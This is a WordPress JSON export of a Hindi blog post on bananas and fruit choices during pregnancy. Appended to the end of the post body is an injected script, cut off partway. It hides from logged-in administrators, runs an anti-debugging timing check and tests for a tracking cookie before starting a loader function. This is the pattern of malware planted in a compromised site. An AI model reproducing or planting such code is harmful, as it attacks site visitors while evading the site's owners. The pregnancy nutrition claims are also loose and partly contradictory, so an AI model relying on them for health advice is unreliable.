{"id":8971,"date":"2023-10-01T14:16:30","date_gmt":"2023-10-01T14:16:30","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=8971"},"modified":"2025-10-24T21:17:09","modified_gmt":"2025-10-24T21:17:09","slug":"%e0%a4%aa%e0%a5%8d%e0%a4%b0%e0%a5%87%e0%a4%97%e0%a4%a8%e0%a5%87%e0%a4%82%e0%a4%b8%e0%a5%80-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%95%e0%a5%87%e0%a4%b2%e0%a4%be-%e0%a4%95%e0%a4%ac-%e0%a4%94%e0%a4%b0","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/10\/01\/%e0%a4%aa%e0%a5%8d%e0%a4%b0%e0%a5%87%e0%a4%97%e0%a4%a8%e0%a5%87%e0%a4%82%e0%a4%b8%e0%a5%80-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%95%e0%a5%87%e0%a4%b2%e0%a4%be-%e0%a4%95%e0%a4%ac-%e0%a4%94%e0%a4%b0\/","title":{"rendered":"The Role of Bananas in a Healthy Pregnancy Diet"},"content":{"rendered":"<h1><\/h1>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-9451\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/banana-300x225.jpg\" alt=\"banana\" width=\"525\" height=\"394\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/banana-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/banana.jpg 553w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<ul>\n<li>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u0921\u093e\u0907\u091f \u092e\u0947\u0902 \u0915\u0947\u0932\u0947 \u0915\u094b \u0936\u093e\u092e\u093f\u0932 \u0915\u0930\u0928\u0947 \u0915\u0940 \u0938\u0932\u093e\u0939 \u0926\u0947\u0924\u0947 \u0939\u0948\u0902\u0964\u092c\u094d\u0930\u0947\u0915\u092b\u093e\u0938\u094d\u091f, \u092d\u094b\u091c\u0928 (Mini Meal) \u0914\u0930 \u0938\u094d\u0928\u0948\u0915\u094d\u0938 \u092e\u0947\u0902\u00a0\u0915\u0947\u0932\u093e \u0932\u0947\u0928\u0947 \u0915\u094b \u0915\u0939\u093e \u0917\u092f\u093e \u0939\u0948 \u0964 \u0938\u093e\u0925 \u0939\u0940 \u091c\u0947\u0938\u094d\u091f\u0947\u0936\u0928\u0932 \u0921\u093e\u092f\u092c\u0940\u091f\u0940\u091c \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092d\u0940 \u0921\u093e\u0907\u091f \u092e\u0947\u0902 \u0915\u0947\u0932\u0947 \u0915\u094b \u0936\u093e\u092e\u093f\u0932 \u0915\u0930\u0928\u093e \u0905\u091a\u094d\u091b\u093e \u092c\u0924\u093e\u092f\u093e \u0917\u092f\u093e \u0939\u0948<\/li>\n<li>\u0915\u0947\u0932\u0947 \u092e\u0947\u0902 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e, \u092e\u0948\u0917\u094d\u0928\u0940\u0936\u093f\u092f\u092e, \u092b\u0949\u0938\u094d\u092b\u094b\u0930\u0938, \u0906\u092f\u0930\u0928, \u092b\u093e\u0907\u092c\u0930, \u092a\u094d\u0930\u094b\u091f\u0940\u0928, \u0935\u093f\u091f\u093e\u092e\u093f\u0928, \u092a\u094b\u091f\u0948\u0936\u093f\u092f\u092e \u0914\u0930 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u091c\u0948\u0938\u0947 \u092a\u094b\u0937\u0915 \u0924\u0924\u094d\u0935 \u092a\u093e\u090f \u091c\u093e\u0924\u0947 \u0939\u0948\u0902, \u091c\u094b \u0915\u093f \u0917\u0930\u094d\u092d\u0935\u0924\u0940 \u092e\u0939\u093f\u0932\u093e \u0914\u0930 \u0917\u0930\u094d\u092d \u092e\u0947\u0902 \u092a\u0932 \u0930\u0939\u0947 \u092c\u0947\u092c\u0940 \u0915\u0940 \u0938\u0947\u0939\u0924 \u0915\u0947 \u0932\u093f\u090f \u091c\u093c\u0930\u0942\u0930\u0940 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902. \u0910\u0938\u0947 \u092e\u0947\u0902 \u0906\u092a \u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u0938\u0940 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928\u0921\u0947\u0932\u0940 \u090f\u0915 \u0938\u0947 \u0926\u094b \u0915\u0947\u0932\u0947\u00a0\u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902.<\/li>\n<li>\u0938\u0941\u092c\u0939 \u0915\u0947 \u091f\u093e\u0907\u092e \u0916\u091f\u094d\u091f\u0947 \u092b\u0932 \u0916\u093e\u0928\u0947 \u0938\u0947 \u092c\u091a\u0928\u093e \u091a\u093e\u0939\u093f\u090f. \u091c\u0948\u0938\u0947- \u0928\u093e\u0930\u0902\u0917\u0940, \u0915\u0940\u0935\u0940, \u0905\u0902\u0917\u0942\u0930, \u0906\u0902\u0935\u0932\u093e \u091c\u0948\u0938\u0947 \u092b\u0932. \u0938\u093e\u092c\u0941\u0924 \u0905\u0928\u093e\u091c \u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928\u094d\u0938, \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0914\u0930 \u092b\u093e\u0907\u092c\u0930 \u092d\u0930\u092a\u0942\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0939\u094b\u0924\u093e \u0939\u0948. \u0938\u093e\u092c\u0941\u0924 \u0905\u0928\u093e\u091c \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u0926\u0932\u093f\u092f\u093e, \u0913\u091f\u094d\u0938 \u0914\u0930 \u092c\u094d\u0930\u093e\u0909\u0928 \u092c\u094d\u0930\u0947\u0921 \u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902<\/li>\n<\/ul>\n<h2><strong>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u0947\u0932\u0947<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u092a\u0930\u0939\u0947\u091c<\/strong> <strong>\u0915\u094d\u092f\u094b\u0902<\/strong> <strong>\u0915\u0930\u0928\u093e<\/strong> <strong>\u091a\u093e\u0939\u093f\u090f<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9453\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-mei-khana-300x169.jpg\" alt=\"preg mei khana\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-mei-khana-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-mei-khana.jpg 620w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0915\u0947\u0932\u0947 \u092e\u0947\u0902 \u0915\u093e\u0930\u094d\u092c\u094b\u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092c\u0939\u0941\u0924 \u0905\u0927\u093f\u0915 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0907\u0928\u092e\u0947\u0902 \u0917\u094d\u0932\u0942\u0915\u094b\u091c, \u0938\u0941\u0915\u094d\u0930\u094b\u091c \u0914\u0930 \u092b\u094d\u0930\u0941\u0915\u094d\u091f\u094b\u091c \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u092e\u0947\u0902 \u091f\u0948\u0928\u093f\u0915 \u090f\u0938\u093f\u0921 \u092d\u0940 \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u094b \u0915\u092c\u094d\u091c \u092a\u0948\u0926\u093e \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u091c\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u091c\u094b \u092e\u093e\u0902 \u0914\u0930 \u092c\u091a\u094d\u091a\u0947 \u0926\u094b\u0928\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0939\u093e\u0928\u093f\u0915\u093e\u0930\u0915 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0905\u0917\u0930 \u0916\u093e\u0932\u0940 \u092a\u0947\u091f \u0915\u0947\u0932\u093e \u0916\u093e\u092f\u093e \u091c\u093e\u090f \u0924\u094b \u0907\u0938\u0938\u0947 \u090f\u0938\u093f\u0921\u093f\u091f\u0940 \u0914\u0930 \u0906\u0902\u0924 \u0938\u0902\u092c\u0902\u0927\u0940 \u0938\u092e\u0938\u094d\u092f\u093e\u090f\u0902 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0902<\/li>\n<\/ul>\n<h2><\/h2>\n<h2><strong>\u0917\u0930\u094d\u092d\u0935\u0924\u0940<\/strong> <strong>\u092e\u0939\u093f\u0932\u093e<\/strong> <strong>\u0915\u094b<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u093e<\/strong> <strong>\u092b\u0932<\/strong> <strong>\u0928\u0939\u0940\u0902<\/strong> <strong>\u0916\u093e\u0928\u093e<\/strong> <strong>\u091a\u093e\u0939\u093f\u090f<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9454\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-dry-fr-300x166.jpg\" alt=\"preg dry fr\" width=\"300\" height=\"166\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-dry-fr-300x166.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-dry-fr.jpg 696w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u0915\u094c\u0928 \u0938\u093e \u092b\u094d\u0930\u0942\u091f \u0928\u0939\u0940\u0902 \u0916\u093e\u0928\u093e \u091a\u093e\u0939\u093f\u090f?\u00a0\u0915\u091a\u094d\u091a\u093e \u092a\u092a\u0940\u0924\u093e- \u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b \u0915\u091a\u094d\u091a\u093e \u092a\u092a\u0940\u0924\u093e \u0915\u093e \u0938\u0947\u0935\u0928 \u0928\u0939\u0940\u0902 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u093f\u090f<\/li>\n<li>\u0905\u0917\u0930 \u0906\u092a \u0915\u091a\u094d\u091a\u093e \u092a\u092a\u0940\u0924\u093e \u0916\u093e\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0907\u0938\u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0917\u0930\u094d\u092d\u092a\u093e\u0924 \u0915\u093e \u091c\u094b\u0916\u093f\u092e \u092c\u0922\u093c \u0938\u0915\u0924\u093e \u0939\u0948. \u0905\u0928\u093e\u0928\u093e\u0938 &#8211; \u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u093e\u0907\u0928\u090f\u092a\u094d\u092a\u0932 \u0915\u093e \u0938\u0947\u0935\u0928 \u0928 \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n<h2><strong>3 <\/strong><strong>\u092e\u0939\u0940\u0928\u0947<\/strong> <strong>\u0915\u0940<\/strong> <strong>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u093e<\/strong> <strong>\u092b\u0932<\/strong> <strong>\u0905\u091a\u094d\u091b\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9455\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/3-month-300x200.jpg\" alt=\"3 month\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/3-month-300x200.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/3-month.jpg 506w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0906\u092a\u0915\u094b \u0915\u094c\u0928 \u0938\u0947 \u092b\u0932 \u0916\u093e\u0928\u0947 \u091a\u093e\u0939\u093f\u090f? \u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u0906\u0939\u093e\u0930 \u0915\u0947 \u0939\u093f\u0938\u094d\u0938\u0947 \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u092b\u0932 \u0916\u093e\u0928\u0947 \u0938\u0947 \u0917\u0930\u094d\u092d\u0935\u0924\u0940 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0914\u0930 \u092c\u091a\u094d\u091a\u0947 \u0926\u094b\u0928\u094b\u0902 \u0915\u094b \u0915\u0908 \u0932\u093e\u092d \u092e\u093f\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0916\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u0947 \u092b\u0932\u094b\u0902 \u092e\u0947\u0902\u00a0\u0905\u0928\u093e\u0930, \u0916\u0941\u092c\u093e\u0928\u0940 \u0914\u0930 \u0938\u0902\u0924\u0930\u0947\u00a0\u0936\u093e\u092e\u093f\u0932 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<h2><strong>\u00a0<\/strong><strong><br \/>\n<\/strong><strong>\u0938\u0941\u092c\u0939<\/strong> <strong>\u092d\u0942\u0916\u093e<\/strong> <strong>\u092a\u0947\u091f<\/strong> <strong>\u0915\u0947\u0932\u093e<\/strong> <strong>\u0916\u093e\u0928\u0947<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9456\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/bana-ben-300x162.jpg\" alt=\"bana ben\" width=\"300\" height=\"162\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/bana-ben-300x162.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/bana-ben.jpg 621w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0905\u0917\u0930 \u0906\u092a \u0938\u0941\u092c\u0939 \u0938\u0935\u0947\u0930\u0947 \u0916\u093e\u0932\u0940 \u092a\u0947\u091f \u0915\u0947\u0935\u0932 \u0926\u094b \u0915\u0947\u0932\u0947 \u0916\u093e\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b\u0907\u0938\u0938\u0947 \u0906\u092a\u0915\u0940 \u0906\u0902\u0924 \u0914\u0930 \u092a\u093e\u091a\u0928 \u0936\u0915\u094d\u0924\u093f \u092e\u091c\u092c\u0942\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948 \u092c\u0932\u094d\u0915\u093f \u0906\u092a \u0915\u094b \u092e\u0932 \u0924\u094d\u092f\u093e\u0917 \u092f\u093e\u0928\u0940 \u0915\u093f \u092b\u094d\u0930\u0947\u0936 \u0939\u094b\u0928\u0947 \u092e\u0947\u0902 \u092d\u0940 \u0915\u094b\u0908 \u0924\u0915\u0932\u0940\u092b \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940 \u0939\u0948<\/li>\n<li>\u0936\u0941\u0917\u0930 \u0932\u0947\u0935\u0932 \u0915\u094b \u0924\u094b \u0915\u0947\u0932\u093e \u0915\u0902\u091f\u094d\u0930\u094b\u0932 \u0915\u0930\u0924\u093e \u0939\u0940 \u0939\u0948, \u0907\u0938\u0915\u0947 \u0938\u093e\u0925 \u0939\u0940 \u092f\u0939 \u0915\u0908 \u0924\u0930\u0939 \u0915\u0947 \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0917\u0941\u0923\u094b\u0902 \u0938\u0947 \u092d\u0940 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n<h2><strong><br \/>\n<\/strong><strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0938\u0941\u092c\u0939<\/strong> <strong>\u0916\u093e\u0932\u0940<\/strong> <strong>\u092a\u0947\u091f<\/strong> <strong>\u0915\u0947\u0932\u093e<\/strong> <strong>\u0916\u093e<\/strong> <strong>\u0938\u0915\u0924\u0947<\/strong> <strong>\u0939\u0948\u0902<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9457\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/pre-bn-300x158.jpg\" alt=\"pre bn\" width=\"300\" height=\"158\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/pre-bn-300x158.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/pre-bn-768x403.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/pre-bn-1024x538.jpg 1024w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/pre-bn.jpg 1200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0938\u0941\u092c\u0939 \u0915\u0947 \u091f\u093e\u0907\u092e \u0916\u091f\u094d\u091f\u0947 \u092b\u0932 \u0916\u093e\u0928\u0947 \u0938\u0947 \u092c\u091a\u0928\u093e \u091a\u093e\u0939\u093f\u090f. \u091c\u0948\u0938\u0947- \u0928\u093e\u0930\u0902\u0917\u0940, \u0915\u0940\u0935\u0940, \u0905\u0902\u0917\u0942\u0930, \u0906\u0902\u0935\u0932\u093e \u091c\u0948\u0938\u0947 \u092b\u0932, \u0938\u093e\u092c\u0941\u0924 \u0905\u0928\u093e\u091c \u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928\u094d\u0938, \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0914\u0930 \u092b\u093e\u0907\u092c\u0930 \u092d\u0930\u092a\u0942\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0939\u094b\u0924\u093e \u0939\u0948, \u0938\u093e\u092c\u0941\u0924 \u0905\u0928\u093e\u091c \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u0926\u0932\u093f\u092f\u093e, \u0913\u091f\u094d\u0938 \u0914\u0930 \u092c\u094d\u0930\u093e\u0909\u0928 \u092c\u094d\u0930\u0947\u0921 \u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u0947\u0932\u093e<\/strong> <strong>\u0939\u093e\u0928\u093f\u0915\u093e\u0930\u0915<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9458\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/effect-ban-300x225.jpg\" alt=\"effect ban\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/effect-ban-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/effect-ban.jpg 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0915\u0947\u0932\u093e \u0906\u092a\u0915\u0940 \u0938\u0942\u091a\u0940 \u092e\u0947\u0902 \u0938\u092c\u0938\u0947 \u090a\u092a\u0930 \u0939\u094b\u0928\u093e \u091a\u093e\u0939\u093f\u090f \u0914\u0930\u0907\u0938\u0947 \u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0916\u093e\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u00a0\u0964<\/li>\n<li>\u0935\u0947 \u0915\u093e\u0930\u094d\u092c\u094b\u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u0948\u0902 \u0914\u0930 \u0907\u0938 \u0926\u094c\u0930\u093e\u0928 \u0906\u092a\u0915\u094b \u0906\u0935\u0936\u094d\u092f\u0915 \u090a\u0930\u094d\u091c\u093e \u0926\u0947\u0902\u0917\u0947\u0964 \u091c\u094b \u092e\u0939\u093f\u0932\u093e\u090f\u0902 \u090f\u0928\u0940\u092e\u093f\u092f\u093e \u0938\u0947 \u092a\u0940\u0921\u093c\u093f\u0924 \u0939\u0948\u0902 \u0909\u0928\u0915\u0947 \u0932\u093f\u090f \u0915\u0947\u0932\u093e \u092c\u0947\u0939\u0926 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f\u0935\u0930\u094d\u0927\u0915 \u0939\u0948, \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u092f\u0939 \u0939\u0940\u092e\u094b\u0917\u094d\u0932\u094b\u092c\u093f\u0928 \u0915\u0947 \u0938\u094d\u0924\u0930 \u0915\u094b \u0905\u091a\u094d\u091b\u093e \u092c\u0922\u093c\u093e\u0935\u093e \u0926\u0947\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<p><strong>For more information Visit us :<\/strong><\/p>\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n<p><strong>RELATED VIDEO :<\/strong><\/p>\n<ol>\n<li class=\"style-scope ytd-watch-metadata\"><a id=\"video-title\" class=\"yt-simple-endpoint style-scope ytd-video-renderer\" title=\"Which fruits should be eaten during pregnancy || \u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u0915\u094c\u0928 \u0938\u0947 \u092b\u0932 \u0916\u093e\u0928\u0947 \u091a\u093e\u0939\u093f\u090f ||\" href=\"https:\/\/www.youtube.com\/watch?v=ugHyuCKrqSg\">\u00a0<\/a>fruits\u00a0 eaten during pregnancy :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=ugHyuCKrqSg\">https:\/\/www.youtube.com\/watch?v=ugHyuCKrqSg<\/a><\/li>\n<li class=\"style-scope ytd-watch-metadata\">\u00a0increase the level of iron naturally during pregnancy :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=b_a094LqhX4\">https:\/\/www.youtube.com\/watch?v=b_a094LqhX4<\/a><\/li>\n<li class=\"style-scope ytd-watch-metadata\">20 best fiber foods :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=x1ZFcXZNrkA\">https:\/\/www.youtube.com\/watch?v=x1ZFcXZNrkA<\/a><\/li>\n<\/ol>\n<p><strong>RELATED ARTICLE :<\/strong><\/p>\n<ol>\n<li>Eating apples during pregnancy\u00a0:\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/12\/27\/%e0%a4%aa%e0%a5%8d%e0%a4%b0%e0%a5%87%e0%a4%97%e0%a4%a8%e0%a5%87%e0%a4%82%e0%a4%b8%e0%a5%80-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%b8%e0%a5%87%e0%a4%ac-%e0%a4%96%e0%a4%be%e0%a4%a8%e0%a5%87-%e0%a4%95\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/12\/27\/<\/a><\/li>\n<li>Foods To Avoid During Pregnancy :\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/13\/%e0%a4%97%e0%a4%b0%e0%a5%8d%e0%a4%ad%e0%a4%be%e0%a4%b5%e0%a4%b8%e0%a5%8d%e0%a4%a5%e0%a4%be-%e0%a4%95%e0%a5%87-%e0%a4%a6%e0%a5%8c%e0%a4%b0%e0%a4%be%e0%a4%a8-%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/13\/<\/a><\/li>\n<li>Itching During Pregnancy :\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/12\/%e0%a4%aa%e0%a5%8d%e0%a4%b0%e0%a5%87%e0%a4%97%e0%a4%a8%e0%a5%87%e0%a4%82%e0%a4%b8%e0%a5%80-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%96%e0%a5%81%e0%a4%9c%e0%a4%b2%e0%a5%80-%e0%a4%95%e0%a5%8d%e0%a4%af\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/12\/<\/a><\/li>\n<\/ol>\n<p><strong>VISIT OUR WEBSITE :\u00a0<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<\/ol>\n<p><strong>This video Covers the information about:<\/strong><\/p>\n<p><span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">When and how much to eat banana during pregnancy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Why should bananas be avoided during pregnancy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which fruit should a pregnant woman not eat?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which fruit is good for 3 month pregnancy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What happens if you eat banana on an empty stomach in the morning?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Can we eat banana on an empty stomach in the morning during pregnancy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Is banana harmful during pregnancy?<\/span><\/span><\/p>\n<p><strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 